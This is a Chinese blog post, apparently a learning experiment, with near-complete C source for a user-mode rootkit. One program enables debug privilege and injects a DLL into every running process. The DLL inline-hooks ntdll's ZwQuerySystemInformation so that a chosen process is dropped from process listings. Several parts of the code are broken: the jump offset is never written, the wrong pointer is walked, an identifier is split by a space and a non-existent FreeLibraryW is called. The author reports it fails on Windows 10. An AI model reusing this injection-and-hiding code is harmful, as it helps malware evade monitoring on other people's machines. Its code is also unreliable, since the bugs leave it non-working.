1. 程式人生 > >程序隱藏實驗(隱藏notepad程序)

程序隱藏實驗(隱藏notepad程序)

0x01須知
需要技術:全域性API勾取。
原理:程序是核心物件,通過相關API可以檢測到他們,使用者模式下檢測API分為2類
CreateToolhelp32Snapshot()和EnumProcess()函式。但是2個API最終都會呼叫ntdll.ZwQuerySystemInformation()API

ZwQuerySystemInformation
(
	SYSTEM_INFORMATION_CLASS        SystemInformationClass,
	PVOID													  SystemInformation,
	ULONG													  SystemInformationLength,
	PULONG 												  ReturnLength
)

系統藉助這個API可以獲得執行中所有程序的資訊(結構體),形成一個連結串列,操作該連結串列把程序資訊從列表中刪除即可隱藏相關程序。
需要解決的問題:每個程序監視的工具都需要鉤取,每個新開啟的程序監視工具也需要立即進行鉤取。

實現思路:HideProc.exe負責將stealth.dll檔案注入到所有執行的程序,Stealth.dll負責鉤取程序的ntdll.ZwQuerySystemInformation()API

0x02HideProc

InjectAllProcess()函式

#include"windows.h"
#include"tlhelp32.h"
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
	DWORD	dwPID = 0;
	HANDLE	hSnapShot = INVALID_HANDLE_VALUE;
	PROCESSENTRY32  pe;

	//獲取系統快照
	pe.dwSize = sizeof(PROCESSENTRY32);
	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
	//查詢程序
	Process32First(hSnapShot, &pe);
	do
	{
		dwPID = pe.th32ProcessID;
		//鑑於系統安全性考慮,PID小於100的系統程序不執行dll注入操作
		if (dwPID < 100)
		{
			continue;
		}
		if (nMode == INJECTION_MODE)
			InjectDll(dwPID, szDllPath);
		else
			EjectDll(dwPID, szDllPath);
	} while (Process32Next(hSnapShot, &pe));
	CloseHandle(hSnapShot);
	return TRUE;
}

負責獲取系統快照,,然後注入。

注入函式

BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)//注入dll
{
	HANDLE hProcess = NULL, hThread = NULL;
	HMODULE hMod = NULL;
	LPVOID pRemoteBuf = NULL;
	DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1)*sizeof(TCHAR);
	LPTHREAD_START_ROUTINE pThreadProc;

	//使用dwpid獲取目標程序控制代碼
	if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
	{
		_tprintf(L"OpenProcess(%d) failed!!![%d]\n", dwPID, GetLastError());
		return FALSE;
	}
	//在目標程序記憶體中分配szDllname大小的記憶體
	pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);//分配物理儲存,可讀可寫
	//將myhack.dll路徑寫入分配的記憶體。
	WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
	//獲取LoadLibraryW API的地址
	hMod = GetModuleHandle(L"Kernel32.dll");//獲取已經載入模組的控制代碼
	pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");//獲取函式地址

	//在目標程序中執行執行緒
	hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);//建立遠端執行緒
	_tprintf(L"%d", GetLastError());
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hProcess);
	printf("Inject  : %d", GetLastError());
	return TRUE;
}

還需要提升許可權

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)//提升許可權,只有先提升HideProc.exe程序的許可權(特權)才能準確獲取所有程序的列表
{
	TOKEN_PRIVILEGES tp;
	HANDLE hToken;
	LUID luid;

	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
	{
		_tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError());
		return FALSE;
	}
	if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
	{
		_tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError());
		return FALSE;
	}
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	if (bEnablePrivilege)
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	else
		tp.Privileges[0].Attributes = 0;
	//enable the privilege or disable all privileges.
	if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
	{
		_tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError());
		return FALSE;
	}
	if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
	{
		_tprintf(L"the token does nothave rhe specified privilege   %d .\n",GetLastError());
		return FALSE;
	}
	printf("TQ   %d", GetLastError());
	return TRUE;
}

解除安裝dll

BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
	HANDLE hProcess = NULL, hThread = NULL;
	HMODULE hMod = NULL;
	LPVOID pRemoteBuf = NULL;
	DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1)*sizeof(TCHAR);
	LPTHREAD_START_ROUTINE pThreadProc;
	if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
	{
		_tprintf(L"OpenProcess(%d) failed!!![%d]\n", dwPID, GetLastError());
	}
	pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
	hMod = GetModuleHandle(L"Kernel32.dll");
	pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "FreeLibraryW");
	hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
	_tprintf(L"%d", GetLastError());
	CloseHandle(hProcess);
	return TRUE;
}

還有一個main

int _tmain(int argc, TCHAR* argv[])
{
	int nMode = INJECTION_MODE;
	HMODULE hLib = NULL;
	PFN_SetProcName SetProcName = NULL;
	if (argc != 4)
	{
		printf("\n Usage : HideProc.exe  <-hide|-show>   <Process name>  <dll path>\n\n");
		return 1;

	}

	SetPrivilege(SE_DEBUG_NAME, TRUE);
	hLib = LoadLibrary(argv[3]);
	SetProcName = (PFN_SetProcName)GetProcAddress(hLib, "SetProcName");
	SetProcName(argv[2]);

	if (!_tcsicmp(argv[1], L"-show"))
		nMode = EJECTION_MODE;
	InjectAllProcess(nMode, argv[3]);
	FreeLibrary(hLib);
	return 0;
}
//呼叫dll匯出函式的方法:LoadLibrary --> GetProcAddress(獲取匯出函式的地址) -->  呼叫匯出函式

//使用一個函式的地址呼叫一個函式方法:定義:typedef void(*PFN_SetProcName)(LPCTSTR szProcName);   實體化:PFN_SetProcName SetProcName = NULL;    呼叫:SetProcName(argv[2]);

dll實現

#include"windows.h"
#include"tlhelp32.h"
#include "tchar.h"
#include "stdio.h"


#define STATUS_SUCCESS                      (0x00000000L) 
typedef LONG NTSTATUS;

typedef enum _SYSTEM_INFORMATION_CLASS {
	SystemBasicInformation = 0,
	SystemPerformanceInformation = 2,
	SystemTimeOfDayInformation = 3,
	SystemProcessInformation = 5,
	SystemProcessorPerformanceInformation = 8,
	SystemInterruptInformation = 23,
	SystemExceptionInformation = 33,
	SystemRegistryQuotaInformation = 37,
	SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;


//該結構體連結串列中儲存著執行中所有程序的資訊,這裡的連結串列是一段連續的空間。
typedef struct _SYSTEM_PROCESS_INFORMATION {
	ULONG NextEntryOffset;
	ULONG NumberOfThreads;
	BYTE Reserved1[48];
	PVOID Reserved2[3];
	HANDLE UniqueProcessId;
	PVOID Reserved3;
	ULONG HandleCount;
	BYTE Reserved4[4];
	PVOID Reserved5[11];
	SIZE_T PeakPagefileUsage;
	SIZE_T PrivatePageCount;
	LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

typedef NTSTATUS(WINAPI *PFZWQUERYSYSTEMINFORMATION)
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);

#define DEF_NTDLL                       ("ntdll.dll")
#define DEF_ZWQUERYSYSTEMINFORMATION    ("ZwQuerySystemInformation")

BYTE g_pOrgBytes[5] = { 0 };



//global variable (in sharing memory)
#pragma comment(linker,"/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = { 0 };






#pragma data_seg()

//export function
#ifdef __cplusplus
extern "C"{
#endif
	__declspec(dllexport) void SetProcName(LPCTSTR szProcName)
	{
		_tcscpy_s(g_szProcName, szProcName);
	}

#ifdef __cplusplus
}
#endif


//包含要鉤取API的dll模組檔名稱	,	要鉤取的API名稱	,	使用者提供的鉤取函式地址	,	儲存原來的5位元組緩衝區
BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
	FARPROC pfnOrg;
	DWORD dwOldProtect, dwAddress;
	byte pBuf[5] = { 0xE9, 0, };
	PBYTE pByte;

	//獲取要鉤取的API地址
	pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);//szDllName模組的szFuncName函式
	pByte = (PBYTE)pfnOrg;
	//若已被鉤取則返回FALSE
	if (pByte[0] == 0xE9)//0xE9表示跳轉指令
	{
		return FALSE;
	}

	//為了修改5個位元組,先向記憶體中新增寫屬性
	VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
	//備份原有程式碼
	memcpy(pOrgBytes, pfnOrg, 5);
	//計算jmp地址 (E9 XXXXXXXX)
	//XXXXXXXX = (DWORD)pfnNew - (DWORD)pfnOrg - 5;

	//XXXXXXXX=要跳轉的地址-當前指令地址-當前指令長度 
	dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5; //減是因為採用小端儲存
	memcpy(pfnOrg, pBuf, 5);

	//恢復記憶體屬性
	VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);
	return TRUE;

}
//獲取函式要修改函式地址 -->  計算jmp偏移  -->  更改許可權  -->  儲存,寫入資料  -->  更改許可權
//所謂鉤取,在要鉤取的函式的開始幾個位元組改成jmp指令跳轉到注入的dll中執行設計好的函式


//
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)//
{
	FARPROC pfnOrg;
	DWORD dwOldProtect, dwAddress;
	byte pBuf[5] = { 0xE9, 0, };
	PBYTE pByte;

	//獲取要unhook的API地址
	pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);//szDllName模組的szFuncName函式
	pByte = (PBYTE)pfnOrg;
	//若未被鉤取則返回FALSE
	if (pByte[0] != 0xE9)//0xE9表示跳轉指令
	{
		return FALSE;
	}

	//為了修改5個位元組,先向記憶體中新增寫屬性
	VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
	//備份原有程式碼
	memcpy(pfnOrg, pOrgBytes, 5);

	memcpy(pBuf, pfnOrg, 5);

	//恢復記憶體屬性
	VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);
	return TRUE;
}
//所謂unhook就是把原本模組對應函數出修改的jmp指令還原為原本的指令


NTSTATUS WINAPI NewZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
{
	NTSTATUS status;
	FARPROC pFunc;
	PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
	char szProcName[MAX_PATH] = { 0, };
	//開始前先脫鉤
	unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);

	//呼叫原始API
	pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL), DEF_ZWQUERYSYSTEMINFORMATION);
	status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)(Syst emInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
	if (status != STATUS_SUCCESS)
		goto __NIQUERYSYSTEMINFORMATION_ENND;
	//僅僅針對SystemProcessInformation型別操作
	if (SystemInformationClass == SystemProcessInformation)
	{
		//SYSTEM_PROCESS_INFORMATION型別轉換
		//pCur是單向連結串列的頭
		pCur = (PSYSTEM_PROCESS_INFORMATION)SystemProcessInformation;
		while (TRUE)
		{
			//比較程序名稱
			//g_szProcName為要隱藏的程序名稱
			if (pCur->Reserved2[1] != NULL)
			{
				if (!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))//Reserved2[1]裡面存放著程序名
				{
					//從連結串列中刪除要隱藏程序的名稱
					if (pCur->NextEntryOffset == 0)
						pPrev->NextEntryOffset = 0;
					else
						pPrev->NextEntryOffset += pCur->NextEntryOffset;//這裡需要用加等
				}
				else
					pPrev = pCur;
			}
			if (pCur->NextEntryOffset == 0)
				break;
			//連結串列的下一項
			pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);
		}

	}
__NIQUERYSYSTEMINFORMATION_ENND:
	//函式終止前再次執行API鉤取操作位下次呼叫準備
	hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, (PROC)NewZwQuerySystemInformation, g_pOrgBytes);
	return status;
}


BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, LPVOID lpvRserved)
{
	char szCurProc[MAX_PATH] = { 0, };
	char *p = NULL;
	//異常處理,如果當前程序位HideProc。exe則終止,不進行操作
	GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
	p = strrchr(szCurProc, '\\');//找到filename
	//if ((p != NULL) && !_stricmp(p + 1, "HideProc.exe"))
		//return TRUE;
	switch (fdwReason)
	{
		//API鉤取
	case DLL_PROCESS_ATTACH:
		hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, (PROC)NewZwQuerySystemInformation, g_pOrgBytes);
		//鉤取DEF_NTDLL模組的DEF_ZWQUERYSYSTEMINFORMATION函式鉤取到了之後將執行NewZwQuerySystemInformation,用來儲存被鉤取函式的原資料

		break;
		//脫鉤
	case DLL_PROCESS_DETACH:
		unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);
		break;

	}
	return TRUE;
}

win10測試不通過,很不穩定,暫時不知道什麼原因。